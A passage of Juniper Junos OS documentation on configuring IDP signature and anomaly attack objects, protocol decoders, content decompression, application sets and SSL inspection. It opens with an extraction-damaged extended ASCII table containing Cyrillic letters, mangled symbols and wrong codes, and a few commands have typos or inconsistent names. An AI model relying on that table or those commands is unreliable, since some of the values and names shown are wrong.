142	8E	216	Ä
143	8F	217	Å

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
144	90	220	É
145	91	221	æ
146	92	222	Æ
147	93	223	ô
148	94	224	Ö
149	95	225	ò
150	96	226	û
151	97	227	ù
152	98	230	ÿ
153	99	231	Ö
154	9A	232	Ü
155	9B	233	¢
156	9C	234	£
157	9D	235	¥
158	9E	236	Р

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
159	9F	237	f
160	AO	240	á
161	A1	241	í
162	A2	242	ó
163	A3	243	ú
164	A4	244	ñ
165	A5	245	Ñ
166	A6	246	a
167	A7	247	o
168	A8	250	ċ
169	А9	251	-
170	AA	252	
171	АВ	253	1/2
172	AC	254	1/4
173	AD	255	i

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
174	AE	256	п
175	AF	257	п
176	ВО	260	1
177	B1	262	1
178	B2	262	1
179	В3	263	1
180	B4	264	1
181	B5	265	-
182	B6	266	-
183	В7	267	+
184	B8	270	+
185	В9	271	1
186	ВА	272	1
187	ВВ	273	+
188	ВС	274	+

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
189	BD	275	+
190	BE	276	+
191	BF	277	+
192	СО	300	+
193	C1	301	-
194	C2	302	-
195	С3	303	+
196	C4	304	-
197	C5	305	+
198	C6	306	1
199	C7	307	1
200	C8	310	+
201	С9	311	+
202	CA	312	-
203	СВ	313	-

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
204	СС	314	1
205	CD	315	-
206	CE	316	+
207	CF	317	-
208	D0	320	-
209	D1	321	-
210	D2	322	-
211	D3	323	+
212	D4	324	+
213	D5	325	+
214	D6	326	+
215	D7	327	+
216	D8	330	+
217	D9	331	+
218	DA	332	+

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
219	DB	333	1
220	DC	334	-
221	DD	335	1
222	DE	336	1
223	DF	337	-
224	ЕО	340	a
225	E1	341	ß
226	E2	342	G
227	E3	343	р
228	E4	344	S
229	E5	345	S
230	E6	346	μ
231	E7	347	t
232	E8	350	F
233	E9	351	Т

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
234	EA	352	О
235	ЕВ	353	d
236	EC	354	8
237	ED	355	f
238	EE	356	е
239	EF	357	n
240	FO	360	=
241	F1	361	+/-
242	F2	362	=
243	F3	363	=
244	F4	364	(
245	F5	365)
246	F6	366	÷
247	F7	367	~
248	F8	370	o

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
249	F9	371	?
250	FA	372	?
251	FB	373	v
252	FC	374	n
253	FD	375	2
254	FE	376	1
255	FF	377	

IDP Signature-Based Attacks

IN THIS SECTION

• Example: Configure IDP Signature-Based Attacks | 181

To configure a custom attack object, you specify a unique name for it and then specify additional information, which can make it easier for you to locate and maintain the attack object.

Certain properties in the attack object definitions are common to all types of attacks, such as attack name, severity level, service or application binding, time binding, and protocol or port binding. Some fields are specific to an attack type and are available only for that specific attack definition.

Signature attack objects use a stateful attack signature (a pattern that always exists within a specific section of the attack) to detect known attacks. They also include the protocol or service used to

perpetrate the attack and the context in which the attack occurs. The following properties are specific to signature attacks, and you can configure them when configuring signature attack—attack context, attack direction, attack pattern, and protocol-specific parameters (TCP, UDP, ICMP, or IP header fields).

When configuring signature-based attacks, keep the following in mind:

- Attack context and direction are mandatory fields for the signature attack definition.
- Pattern negation is supported for packet, line, and application-based contexts only and not for stream and normalized stream contexts.
- When configuring the protocol-specific parameters, you can specify fields for only one of the following protocols—IP, TCP, UDP, or ICMP.
- When configuring a protocol binding, you can specify only one of the following—IP, ICMP, TCP, UDP, RPC or applications.
 - IP—Protocol number is a mandatory field.
 - TCP and UDP—You can specify either a single port (minimum-port) or a port range (minimum-port and maximum-port). If you do not specify a port, the default value is taken (0-65535).
 - RPC—Program number is a mandatory field.

You can configure signature-based attacks by using Hyperscan extended parameters. By setting optimal values for the Hyperscan extended parameters, you can enhance the attack pattern matching process significantly.

To configure the extended parameters, include the optional-parameters option at the [edit security idp custom-attack *attack-name* attack-type signature] hierarchy level. You can configure the following parameters under the optional-parameters option:

- min-offset
- max-offset
- min-length

Hyperscan API

Hyperscan is a software regular expression matching engine designed to deliver high performance and flexibility. When a signature with a pattern is configured as part of an IDP policy, the pattern is identified as a regular expression. On the Routing Engine, Hyperscan takes this regular expression as an input and compiles it to form a database which is pushed to the Packet Forwarding Engine. When a packet enters the Packet Forwarding Engine, the data in the packet is inspected to determine if it is matching the regular expression using the database.

If an IDP policy is configured with a set of signatures, deterministic finite automaton (DFA) groups are formed. Patterns of all the signatures in the DFA groups are passed to Hyperscan to form a single database, which can be used to check all the attacks in the packet at a time. Since a single database is used instead of a separate database for each attack, the pattern matching process is efficient.

When a signature is configured with the extended parameters, Hyperscan API forms the database by taking the configured parameters into consideration. The pattern matching process occurs on the Packet Forwarding Engine with this new database. These parameters allow the set of matches produced by a pattern to be constrained at compile time rather than relying on the application to process unwanted matches at runtime.

Example: Configure IDP Signature-Based Attacks

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- Verification | 185

This example shows how to create a signature-based attack object.

Requirements

Before you begin, configure network interfaces.

Overview

In this example, you create a signature attack called sig1 and assign the following properties to it.

- Recommended action (drop packet)—Drops a matching packet before it can reach its destination but does not close the connection.
- Time binding—Specifies the scope as source and the count as 10. When scope is source, all attacks from the same source are counted, and when the number of attacks reaches the specified count (10), the attack is logged. In this example, every tenth attack from the same source is logged.
- Attack context (packet)—Matches the attack pattern within a packet.

- Attack direction (any)—Detects the attack in both directions—client-to-server and server-to-client traffic.
- Protocol (TCP)—Specifies the TTL value of 128.
- Shellcode (Intel)—Sets the flag to detect shellcode for Intel platforms.
- Protocol binding—Specifies the TCP protocol and ports 50 through 100.

Once you have configured a signature-based attack object, you specify the attack as match criteria in an IDP policy rule. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.

Configuration

IN THIS SECTION

• Procedure | 182

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp custom-attack sig1 severity major
set security idp custom-attack sig1 recommended-action drop-packet
set security idp custom-attack sig1 time-binding scope source count 10
set security idp custom-attack sig1 attack-type signature context packet
set security idp custom-attack sig1 attack-type signature shellcode intel
set security idp custom-attack sig1 attack-type signature protocol ip ttl value 128 match equal
set security idp custom-attack sig1 attack-type signature protocol-binding tcp minimum-port 50
maximum-port 100
set security idp custom-attack sig1 attack-type signature direction any
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create a signature-based attack object:

1. Specify a name for the attack.

```
[edit]
user@host# edit security idp custom-attack sig1
```

2. Specify common properties for the attack.

```
[edit security idp custom-attack sig1]
user@host# set severity major
user@host# set recommended-action drop-packet
user@host# set time-binding scope source count 10
```

3. Specify the attack type and context.

```
[edit security idp custom-attack sig1]
user@host# set attack-type signature context packet
```

4. Specify the attack direction and the shellcode flag.

```
[edit security idp custom-attack sig1]
user@host# set attack-type signature shellcode intel
```

5. Set the protocol and its fields.

```
[edit security idp custom-attack sig1]
user@host# set attack-type signature protocol ip ttl value 128 match equal
```

6. Specify the protocol binding and ports.

```
[edit security idp custom-attack sig1]
user@host# set attack-type signature protocol-binding tcp minimum-port 50 maximum-port 100
```

7. Specify the direction.

```
[edit security idp custom-attack sig1]
user@host# set attack-type signature direction any
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
custom-attack sig1 {
    recommended-action drop-packet;
    severity major;
    time-binding {
       count 10;
        scope source;
   }
   attack-type {
        signature {
            protocol-binding {
                tcp {
                    minimum-port 50 maximum-port 100;
                }
            }
            context packet;
            direction any;
            shellcode intel;
            protocol {
                ip {
                    ttl {
                        match equal;
                        value 128;
```

```
}

}

}

}

}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

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Verify the Configuration | 185

Confirm that the configuration is working properly.

Verify the Configuration

Purpose

Verify that the signature-based attack object was created.

Action

From operational mode, enter the show security idp status command.

RELATED DOCUMENTATION

optional-parameters

IDP Protocol Anomaly-Based Attacks

IN THIS SECTION

Example: Configure IDP Protocol Anomaly-Based Attacks | 186

A protocol anomaly attack object detects unknown or sophisticated attacks that violate protocol specifications (RFCs and common RFC extensions). You cannot create new protocol anomalies, but you can configure a new attack object that controls how your device handles a predefined protocol anomaly when detected.

The following properties are specific to protocol anomaly attacks:

- Attack direction
- Test condition

When configuring protocol anomaly-based attacks, keep the following in mind:

- The service or application binding is a mandatory field for protocol anomaly attacks. Besides the supported applications, services also include IP, TCP, UDP, ICMP, and RPC.
- The attack direction and test condition properties are mandatory fields for configuring anomaly attack definitions.

Example: Configure IDP Protocol Anomaly-Based Attacks

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- Overview | 187
- Configuration | 187
- Verification | 189

This example shows how to create a protocol anomaly-based attack object.

Requirements

Before you begin, configure network interfaces.

Overview

In this example, you create a protocol anomaly attack called anomaly1 and assign it the following properties:

- Time binding—Specifies the scope as peer and count as 2 to detect anomalies between source and destination IP addresses of the sessions for the specified number of times.
- Severity (info)—Provides information about any attack that matches the conditions.
- Attack direction (any)—Detects the attack in both directions—client-to-server and server-to-client traffic.
- Service (TCP)—Matches attacks using the TCP service.
- Test condition (OPTIONS_UNSUPPORTED)—Matches certain predefined test conditions. In this example, the condition is to match if the attack includes unsupported options.
- Shellcode (sparc)—Sets the flag to detect shellcode for Sparc platforms.

Once you have configured the protocol anomaly-based attack object, you specify the attack as match criteria in an IDP policy rule. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.

Configuration

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Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp custom-attack anomaly1 severity info
set security idp custom-attack anomaly1 time-binding scope peer count 2
set security idp custom-attack anomaly1 attack-type anomaly test OPTIONS_UNSUPPORTED
set security idp custom-attack sa
set security idp custom-attack sa attack-type anomaly service TCP
set security idp custom-attack sa attack-type anomaly direction any
set security idp custom-attack sa attack-type anomaly shellcode sparc
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create a protocol anomaly-based attack object:

1. Specify a name for the attack.

```
[edit]
user@host# edit security idp custom-attack anomaly1
```

2. Specify common properties for the attack.

```
[edit security idp custom-attack anomaly1]
user@host# set severity info
user@host# set time-binding scope peer count 2
```

3. Specify the attack type and test condition.

```
[edit security idp custom-attack anomaly1]
user@host# set attack-type anomaly test OPTIONS_UNSUPPORTED
```

4. Specify other properties for the anomaly attack.

```
[edit security idp custom-attack anomaly1]
user@host# set attack-type anomaly service TCP
user@host# set attack-type anomaly direction any
user@host# attack-type anomaly shellcode sparc
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
custom-attack anomaly1 {
    severity info;
    time-binding {
        count 2;
        scope peer;
    attack-type {
        anomaly {
            test OPTIONS_UNSUPPORTED;
            service TCP;
            direction any;
            shellcode sparc;
        }
    }
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 190

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the protocol anomaly-based attack object was created.

Action

From operational mode, enter the show security idp status command.

IDP Protocol Decoders

SUMMARY

Protocol decoders are used by Intrusion Detection and Prevention (IDP) to check protocol integrity and protocol contextual information by looking for anomalies and ensuring that RFC standards are met. An anomaly can be any part of a protocol, such as the header, message body, or other individual fields that deviate from RFC standards for that protocol. For example, in the case of SMTP, if SMTP MAIL TO precedes SMTP HELO, that is an anomaly in the SMTP protocol.

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- Example: Configure IDP ProtocolDecoders | 191
- Multiple IDP Detector Support | 193
- Content Decompression | 193
- Example: Configure IDP Content Decompression | 194

When protocol contextual information is available, protocol decoders check for attacks within those contexts. For example, for SMTP, if an e-mail is sent to user@company.com, user@company.com is the contextual information and SMTP MAIL TO is the context. By using protocol contextual data, rather than the entire packet, for attack detection, protocol decoders improve overall performance and accuracy.

If there is a policy configured with a rule that matches the protocol decoder check for SMTP, the rule triggers and the appropriate action is taken.

The IDP module ships with a preconfigured set of protocol decoders. These protocol decoders have default settings for various protocol-specific contextual checks they perform. You can use these defaults

or you can tune them to meet your site's specific needs. To display the list of available protocol decoders, enter the following command:

```
user@host # show security idp sensor-configuration detector protocol-name ?
```

For a more detailed view of the current set of protocol decoders and their default context values, you can view the detector-capabilities.xml file located in the /ar/db/idpd/sec-download folder on the device. When you download a new security package, you also receive this file which lists current protocols and default decoder context values.

Example: Configure IDP Protocol Decoders

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This example shows how to configure IDP protocol decoder tunables.

Requirements

Before you begin, review the IDP protocol decoders feature. See "IDP Protocol Decoders" on page 190.

Overview

The Junos IDP module ships with a set of preconfigured protocol decoders. These protocol decoders have default settings for various protocol-specific contextual checks that they perform. You can use the default settings or tune them to meet your site's specific needs. This example shows you how to tune the protocol decoder for FTP.

Configuration

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Procedure

Step-by-Step Procedure

To configure IDP protocol decoder tunables:

1. View the list of protocols that have tunable parameters.

```
[edit]
user@host# edit security idp sensor-configuration detector protocol-name FTP
```

2. Configure tunable parameters for the FTP protocol.

```
[edit security idp sensor-configuration-detector protocol-name FTP]
user@host# set tunable-name sc_ftp_failed_logins tunable-value 4
user@host# set tunable-name sc_ftp_failed_flags tunable value 1
user@host# set tunable-name sc_ftp_line_length tunable-value 1024
user@host# set tunable-name sc_ftp_password_length tunable-value 64
user@host# set tunable-name sc_ftp_sitestring_length tunable-value 512
user@host# set tunable-name sc_ftp_username_length tunable-value 32
```

3. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

To verify the configuration is working properly, enter the show security idp status command.

Multiple IDP Detector Support

When a new security package is received, it contains attack definitions and a detector. In any given version of a security package, the attack definitions correspond to the capabilities of the included detector. When policy aging is disabled on the device (see the reset-on-policy statement for policy aging commands), only one policy is in effect at any given time. But if policy aging is enabled and there is a policy update, the existing policy is not unloaded when the new policy is loaded. Therefore, both policies can be in effect on the device. In this case, all existing sessions will continue to be inspected by existing policies and new sessions are inspected with new policies. Once all the existing sessions using the older policy have terminated or expired, the older policy is then unloaded.

When a policy is loaded, it is also associated with a detector. If the new policy being loaded has an associated detector that matches the detector already in use by the existing policy, the new detector is not loaded and both policies use a single associated detector. But if the new detector does not match the current detector, the new detector is loaded along with the new policy. In this case, each loaded policy will then use its own associated detector for attack detection.

Note that a maximum of two detectors can be loaded at any given time. If two detectors are already loaded (by two or more policies), and loading a new policy requires also loading a new detector, then at least one of the loaded detectors must be unloaded before the new detector can be loaded. Before a detector is unloaded, all policies that use the corresponding detector are unloaded as well.

You can view the current policy and corresponding detector version by entering the following command:

user@host> show security idp status

When a new IDP policy is loaded, the existing sessions are inspected using the newly loaded policy and the existing sessions not ignored for IDP processing. The IDP inspection continues for context-based attacks created by the detector after a new IDP policy is loaded, with an exception that the new policy that is loaded with the new detector.

Content Decompression

In application protocols like HTTP, the content could be compressed and then transmitted over the network. The patterns will not match the compressed content, because the signature patterns are written to match the unencoded traffic data. In this case IDP detection is evaded. To avoid IDP detection evasion on the HTTP compressed content, an IDP submodule has been added that decompresses the protocol content. The signature pattern matching is done on the decompressed content.

To display the status of all IPS counter values, enter the following command:

user@host> show security idp counters ips

Some attacks are introduced through compressed content. When the content is decompressed, it can inflate to a very large size taking up valuable system resources resulting in DoS. This type of attack can be recognized by the ratio of decompressed data size to compressed data size. The content-decompress-ratio-over-limit counter identifies the number of incidents where this ratio has been exceeded. The default ratio is considered consistent with a typical environment. In some cases, however, this ratio might need to be adjusted by resetting the content-decompress-ratio-over-limit value. Keep in mind, however, that a higher ratio lessens the chance of detecting this type of attack.

The content-decompress-memory-over-limit counter identifies the number of incidents where the amount of decompressed data exceeded the allocated memory. The default memory allocation provides 33 KB per session for an average number of sessions requiring decompression at the same time. To determine if this value is consistent with your environment, analyze values from decompression-related counters and the total number of IDP sessions traversing the device, and estimate the number of sessions requiring decompression at the same time. Assuming that each of these sessions requires 33 KB of memory for decompression, compare your estimated needs to the default value. If necessary, you can adjust the memory allocation by resetting the content-decompression-max-memory-kb value. Note that because content decompression requires a significant allocation of memory, system performance will be impacted by increasing the maximum memory allocation for decompression.

Example: Configure IDP Content Decompression

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- Requirements | 195
- Overview | 195
- Configuration | 195
- Verification | 196

This example shows how to configure IDP content decompression.

Requirements

Before you begin, review the IDP content decompression feature. See "Content Decompression" on page 193

Overview

The decompression feature is disabled by default. In this example, you enable the detector, configure the maximum memory to 50,000 kilobytes, and configure a maximum decompression ratio of 16:1.

Decompression reduces device performance.

Configuration

IN THIS SECTION

• Procedure | 195

Procedure

Step-by-Step Procedure

To configure IDP content decompression:

1. Enable the detector.

```
[edit]
```

user@host# set security idp sensor-configuration detector protocol-name HTTP tunable-name
sc_http_compress_inflating tunable-value 1

To disable the detector, set the tunable-value to 0.

2. If necessary, modify the maximum memory in kilobytes.

```
[edit security idp]
user@host# set sensor-configuration ips content-decompression-max-memory-kb 50000
```

3. If necessary, configure the maximum decompression ratio.

```
[edit security idp]
user@host# set sensor-configuration ips content-decompression-max-ratio 16
```

4. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

To verify the configuration is working properly, enter the show security idp status ips command. The content-decompress counters provide statistics on decompression processing.

IPv6 Covert Channels Overview

A covert channel is an attack technique that allows communication of information by transferring objects through existing information channels in an unauthorized or illicit manner. With the help of covert channels, an attacker can carry out malicious activity in a network.

Covert channels identification and mitigation for IPv6 extension headers is supported on Intrusion Detection and Prevention (IDP). It is the transfer of information that violates the existing security systems. The security package for IDP contains a database of predefined IDP attack objects for covert channel that you can use in IDP policies to match traffic against attacks.

As part of this support, you can detect and flag IPv6 extension headers anomalies, which can establish covert channels and take action specified in the policy. The covert channel attacks are displayed in the Show security idp attack table with the other attacks.

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
19.1R1	Previously IDP signature updates supported only nine tags under filters. The seven tags are category, direction, false-positives, performance, product, recommended, service, severity, and vendor. IDP signature updates now support four new additional tags under filters for creating more sophisticated dynamic groups in addition to the existing nine tags.

Applications and Application Sets

SUMMARY

Applications are predefined or custom-defined entities that represent specific types of network traffic or services. Application sets are collections of applications grouped for easier management and policy creation. You can create an application set that includes multiple related applications and then apply policies to the entire set.

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Example: Configure IDP Applications

Sets | **198**

 Example: Configure IDP Applications and Services | 202

Applications or services correspond to Application layer protocols that define how communication occurs between networked systems, specifying how data is structured, formatted and processed at the application level as it travels across the network.

In the context of IDP policies, applications and application sets see the following:

- Applications—These are predefined or custom-defined entities that represent specific types of
 network traffic or services. An application in this context can be anything from a web service (like
 HTTP or HTTPS), an email protocol (like SMTP), a file transfer service (like FTP), or any other type of
 network application. Each application has a set of characteristics that allow the IDP system to
 identify and monitor the traffic associated with that application.
- Application Sets—These are collections of applications grouped together for easier management and
 policy creation. Instead of defining policies for individual applications, you can create an application
 set that includes multiple related applications and then apply policies to the entire set. This is
 particularly useful for simplifying the management of security policies when dealing with a large
 number of applications.

IDP Application Sets

The services you support on your network are the same services that attackers use to attack your network, you can specify which services are supported by the destination IP to make your rules more efficient. Juniper Networks provides predefined applications and application sets that are based on industry-standard applications. If you need to add applications that are not included in the predefined applications, you can create custom applications or modify predefined applications to suit your needs.

You specify an application, or service, to indicate that a policy applies to traffic of that type. Sometimes the same applications or a subset of them can be present in multiple policies, making them difficult to manage. Junos OS allows you to create groups of applications called *application set*. Application sets simplify the process by allowing you to manage a small number of application sets, rather than a large number of individual application entries.

The application (or application set) is configured as a match criterion for packets. Packets must be of the application type specified in the policy for the policy to apply to the packet. If the packet matches the application type specified by the policy and all other criteria match, then the policy action is applied to the packet. You can use predefined or custom applications and refer to them in a policy.

SEE ALSO

Example: Configure IDP Applications and Services | 202

Example: Configure IDP Applications Sets

IN THIS SECTION

- Requirements | 199
- Overview | 199
- Configuration | 199
- Verification | 201

This example shows how to create an application set and associate it with an IDP policy.

Requirements

Before you begin:

- Configure network interfaces.
- Enable IDP application services in a security policy.
- Define applications. See Example: Configuring Security Policy Applications and Application Sets.

Overview

To configure an application set, you add predefined or custom applications separately to an application set and assign a meaningful name to the application set. Once you name the application set you specify the name as part of the policy. The policy applies to a packet only if the packet matches any one of the applications included in the set.

This example describes how to create an application set called SrvAccessAppSet and associate it with IDP policy ABC. The application set SrvAccessAppSet combines three applications. Instead of specifying three applications in the policy rule, you specify one application set. If all of the other criteria match, any one of the applications in the application set serves as valid matching criteria.

Configuration

IN THIS SECTION

• Procedure | 199

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set applications application-set SrvAccessAppSet application junos-ssh
set applications application-set SrvAccessAppSet application junos-telnet
set applications application-set SrvAccessAppSet application cust-app
set security idp idp-policy ABC rulebase-ips rule ABC match application SrvAccessAppSet
```

set security idp idp-policy ABC rulebase-ips rule ABC then action no-action set security idp active-policy ABC $\,$

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create an application set and associate it with an IDP policy:

1. Create an application set and include three applications in the set.

```
[edit applications application-set SrvAccessAppSet]
user@host# set application junos-ssh
user@host# set application junos-telnet
user@host# set application cust-app
```

2. Create an IDP policy.

```
[edit]
user@host# edit security idp idp-policy ABC
```

3. Associate the application set with an IDP policy.

```
[edit security idp idp-policy ABC]
user@host# set rulebase-ips rule ABC match application SrvAccessAppSet
```

4. Specify an action for the policy.

```
[edit security idp idp-policy ABC]
user@host# set rulebase-ips rule ABC then action no-action
```

5. Activate the policy.

```
[edit]
user@host# set security idp active-policy ABC
```

Results

From configuration mode, confirm your configuration by entering the show security idp and show applications commands. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy ABC {
    rulebase-ips {
        rule R1 {
            match {
                application SrvAccessAppSet;
            }
            then {
                action {
                    no-action;
                }
            }
        }
    }
    }
active-policy ABC;
```

```
[edit]
user@host# show applications
application-set SrvAccessAppSet {
    application ssh;
    application telnet;
    application custApp;
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 202

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the application set was associated with the IDP policy.

Action

From operational mode, enter the show security idp status command.

SEE ALSO

IDP Application Sets | 198

Example: Configure IDP Applications and Services

IN THIS SECTION

- Requirements | 202
- Overview | 203
- Configuration | 203
- Verification | 205

This example shows how to create an application and associate it with an IDP policy.

Requirements

Before you begin:

- Configure network interfaces.
- Enable IDP application services in a security policy.

Overview

To create custom applications, specify a meaningful name for an application and associate parameters with it—for example, inactivity timeout, or application protocol type. In this example, you create a special FTP application called cust-app, specify it as a match condition in the IDP policy ABC running on port 78, and specify the inactivity timeout value as 6000 seconds.

Configuration

IN THIS SECTION

Procedure | 203

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set applications application cust-app application-protocol ftp protocol tcp destination-port 78 inactivity-timeout 6000 set security idp idp-policy ABC rulebase-ips rule ABC match application cust-app set security idp idp-policy ABC rulebase-ips rule ABC then action no-action set security idp active-policy ABC
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To create an application and associate it with an IDP policy:

1. Create an application and specify its properties.

```
[edit applications application cust-app]
user@host# set application-protocol ftp protocol tcp destination-port 78 inactivity-timeout
6000
```

2. Specify the application as a match condition in a policy.

```
[edit security idp idp-policy ABC rulebase-ips rule ABC]
user@host# set match application cust-app
```

3. Specify the no action condition.

```
[edit security idp idp-policy ABC rulebase-ips rule ABC]
user@host# set then action no-action
```

4. Activate the policy.

```
[edit]
user@host# set security idp active-policy ABC
```

Results

From configuration mode, confirm your configuration by entering the show security idp and show applications commands. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy ABC {
   rulebase-ips {
      rule R1 {
         match {
            application cust-app;
            }
            }
        }
}
```

```
}
active-policy ABC;
```

```
[edit]
user@host# show applications
application cust-app {
    application-protocol ftp;
    protocol tcp;
    destination-port 78;
    inactivity-timeout 6000;
}
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

• Verify the Configuration | 205

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the application was associated with the IDP policy.

Action

From operational mode, enter the show security idp status command.

SEE ALSO

IDP Application Sets | 198

RELATED DOCUMENTATION

Understand IDP Policy | 43

IDP SSL Inspection

SUMMARY

IDP SSL Inspection enables SRX Series Firewalls to inspect SSL-encrypted HTTP trafffic across any port. It supports SSLv2, SSLv3, and TLS protocols, along with various ciphers.

IN THIS SECTION

- IDP SSL Overview | 207
- Supported IDP SSL Ciphers | 207
- IDP Internet Key Exchange | 208
- IDP Cryptographic Key Handling
 Overview | 209
- IDP SSL Server Key Management and Policy
 Configuration | 209
- Configure IDP SSL Inspection (CLI Procedure) | 210
- Add IDP SSL Keys and Associated
 Servers | 210
- Delete IDP SSL Keys and Associated
 Servers | 211
- Display IDP SSL Keys and AssociatedServers | 212
- Example: Configure IDP When SSL Proxy IsEnabled | 212

Secure Sockets Layer (SSL), the predecessor of Transport Layer Security (TLS), is a protocol suite for web security that provides authentication, confidentiality, and message integrity. Authentication guards against fraudulent transmissions by enabling a browser to validate the identity of a webserver. Confidentiality mechanisms ensure that communications are private. SSL enforces confidentiality by encrypting data to prevent unauthorized users from eavesdropping on electronic communications. Finally, message integrity ensures that the contents of a communication have not been tampered with.

IDP SSL Overview

Each SSL session begins with a handshake during which the client and server agree on the specific security key and the encryption algorithms to use for that session. At this time, the client also authenticates the server. Optionally, the server can authenticate the client. Once the handshake is complete, transfer of encrypted data can begin.

Juniper Networks provides Intrusion Detection and Prevention (IDP) SSL inspection that uses the SSL protocol suite consisting of different SSL versions, ciphers, and key exchange methods. Combined with the Application Identification feature, the SSL Inspection feature enables SRX Series Firewalls to inspect HTTP traffic encrypted in SSL on any port. The following SSL protocols are supported:

- SSLv2
- SSLv3
- TLS

SEE ALSO

Understand IDP Policy | 43

Supported IDP SSL Ciphers

An SSL cipher comprises encryption cipher, authentication method, and compression. Junos OS supports all OPENSSL supported ciphers that do not involve the use of temporary private keys. For authentication, NULL, MD5, and SHA-1 authentication methods are supported.

Compression and SSLv2 ciphers are not supported. Currently, most SSL servers automatically upgrade to a TLS cipher when an SSLv2 cipher is received in a client "hello" message. Check your browser to see how strong the ciphers can be and which ones your browser supports. (If the cipher is not in the list of supported ciphers, the session is ignored for deep packet inspection.)

Table 33 on page 207 shows the encryption algorithms supported by the SRX Series Firewalls.

Table 33: Supported Encryption Algorithms

Cipher	Exportable	Туре	Key Material	Expanded Key Material	Effective Key Bits	IV Size
NULL	No	Stream	0	0	0	N/A

Table 33: Supported Encryption Algorithms (Continued)

Cipher	Exportable	Туре	Key Material	Expanded Key Material	Effective Key Bits	IV Size
DES-CBC-SHA	No	Block	8	8	56	8
DES-CBC3-SHA	No	Block	24	24	168	8
AES128-SHA	No	Block	16	16	128	16
AES256-SHA	No	Block	32	32	256	16

For more information on encryption algorithms, see IPsec VPN Overview. Table 34 on page 208 shows the supported SSL ciphers.

Table 34: Supported SSL Ciphers

Cipher Suites	Value
TLS_RSA_WITH_NULL_MD5	0x0001
TLS_RSA_WITH_NULL_SHA	0x0002
TLS_RSA_WITH_DES_CBC_SHA	0x0009
TLS_RSA_WITH_3DES_EDE_CBC_SHA	0x000A
TLS_RSA_WITH_AES_128_CBC_SHA	0x002F
TLS_RSA_WITH_AES_256_CBC_SHA	0x0035

RC4 and IDEA ciphers are not supported because of license and OPENSSL library availability.

IDP Internet Key Exchange

Internet Key Exchange (IKE) establishes a premaster secret that is used to generate symmetric keys for bulk data encryption and authentication. Section F.1.1 of RFC 2246 defines Transport Layer Security (TLS) authentication and key exchange methods. The three key exchange methods are:

- RSA—Rivest-Shamir-Adleman (RSA) is a key exchange algorithm that governs the way participants
 create symmetric keys or a secret that is used during an SSL session. The RSA key exchange
 algorithm is the most commonly used method.
- DSA—Digital Signature Algorithm (DSA) adds an additional authentication option to the IKE Phase 1
 proposals. The DSA can be configured and behaves analogously to the RSA, requiring the user to
 import or create DSA certificates and configure an IKE proposal to use the DSA. Digital certificates
 are used for RSA signatures, DSA signatures, and the RSA public key encryption based method of
 authentication in the IKE protocol.
- Diffie-Hellman Diffie-Hellman (DH) is a key exchange method that allows participants to produce a shared secret value. The strength of the technique is that it allows participants to create the secret value over an unsecured medium without passing the secret value through the wire.

The key exchange methods can use either a fixed or a temporary server key. IDP can successfully retrieve the premaster secret only if a fixed server key is used. For more information on Internet Key Exchange, see *Basic Elements of PKI in Junos OS*.

Juniper IDP does not decrypt SSL sessions that use Diffie-Hellman key exchange.

IDP Cryptographic Key Handling Overview

